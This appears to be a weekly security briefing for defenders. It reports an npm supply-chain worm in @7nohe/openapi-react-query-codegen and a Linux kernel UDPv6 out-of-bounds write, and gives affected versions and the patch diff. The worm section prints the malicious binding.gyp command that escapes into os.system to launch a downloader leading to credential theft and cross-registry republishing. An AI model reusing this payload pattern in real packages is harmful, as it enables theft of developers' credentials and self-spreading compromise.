critical

CVE

CVE-2026-53362

CWE

CWE-94, CWE-506, CWE-787

Affected Surface

  • Projects, developer workstations, and CI runners that resolved `@7nohe/openapi-react-query-codegen` 0.5.4, 0.5.5, 1.6.3, 1.6.4, 2.2.1, 2.2.2, 3.0.3, 3.0.4, 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be, or 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab during the 28 August 2026 exposure window
  • Linux developer endpoints, self-hosted CI runners, and container hosts still running kernel lines vulnerable to `CVE-2026-53362`, including upstream `6.1.x < 6.1.177`, `6.6.x < 6.6.144`, `6.12.x < 6.12.95`, `6.18.x < 6.18.38`, and `7.1.x < 7.1.3`, subject to vendor backports

Welcome to Corgea’s weekly briefing. The briefing covers the most important security findings and research from the week.

This edition covers research published from Friday, 28 August through Monday, 31 August 2026, excluding items already covered in the 25 August briefing.

Top Article

@7nohe/openapi-react-query-codegen: issue_comment publishing bug shipped a cross-registry worm

The @7nohe/openapi-react-query-codegen compromise leads the window because it collapsed three trust signals at once: a pull request comment, a trusted GitHub Actions release job, and a package that still carried valid provenance after it was poisoned. Aikido, Socket, StepSecurity, Endor Labs, and the maintainer’s own incident thread all agree on the important mechanics. The workflow accepted github.event.comment.body == 'npm publish', checked out attacker-controlled pull-request code, ran pnpm install, and published through a job that held id-token: write. That was enough to ship ten malicious versions across every maintained release line. Four stable versions detonated through binding.gyp alone, four used both binding.gyp and preinstall, and two prereleases used bootstrap-only preinstall variants.

The code path defenders should remember is short and ugly:

issue_comment -> checkout PR head -> pnpm install -> node-gyp evaluates binding.gyp
-> [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')
-> Bun downloader -> credential theft and package republishing across npm, RubyGems, and PyPI

That puts the story in the same family as AsyncAPI’s require-time compromise, the arrayref build-time Rust compromise, and the earlier keyv/cacheable worm path. The package manager changes from story to story. The trust failure does not.

More news

CVE-2026-53362: Linux UDPv6 fraggap OOB write turns local code into root and container escape

The other item that still deserves immediate attention is CVE-2026-53362. CISA added it to KEV on 27 August, which kept it in the response lane through the weekend, and Red Hat’s bulletin was unusually clear about why AppSec teams should care: once an attacker has low-privilege code execution on a Linux host, this kernel bug can move from local code to host root and, in containerized setups, to container-to-host escape. The vulnerable path sits in net/ipv6/ip6_output.c::__ip6_append_data(), where datalen already includes fraggap but the paged allocation branch still used:

alloclen = fragheaderlen + transhdrlen;
pagedlen = datalen - transhdrlen;

That left the linear skb area too small on the MSG_MORE plus MSG_SPLICE_PAGES path and let the kernel write into skb_shared_info. The upstream fix is small and easy to reason about because it corrects the same two lines:

- alloclen = fragheaderlen + transhdrlen;
- pagedlen = datalen - transhdrlen;
+ alloclen = fragheaderlen + transhdrlen + fraggap;
+ pagedlen = datalen - transhdrlen - fraggap;

Read it with SCTPhantom, Januscape, and the 7nohe package story above. Those are different initial access paths, but they meet at the same question: if hostile code lands on a Linux runner or workstation, what still stops it from becoming root?

Other news:

  • The rest of the 28 to 31 August package-security reporting from Aikido, Socket, and Endor Labs mostly added scope and reverse-engineering detail to the existing @7nohe/openapi-react-query-codegen compromise instead of surfacing a separate incident that needed its own new Corgea article.
  • CISA’s KEV catalog and NVD did not add a second package-ecosystem or Linux issue in this window that cleared the same bar for urgency. The high-signal work for defenders remains straightforward: clean up any @7nohe/openapi-react-query-codegen exposure, and patch or reboot Linux hosts that still carry CVE-2026-53362.
  • For adjacent context, revisit the 25 August briefing, the 7nohe compromise, the arrayref Rust incident, and the Linux UDPv6 fraggap article.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

Explore dependency scanning Get Demo

References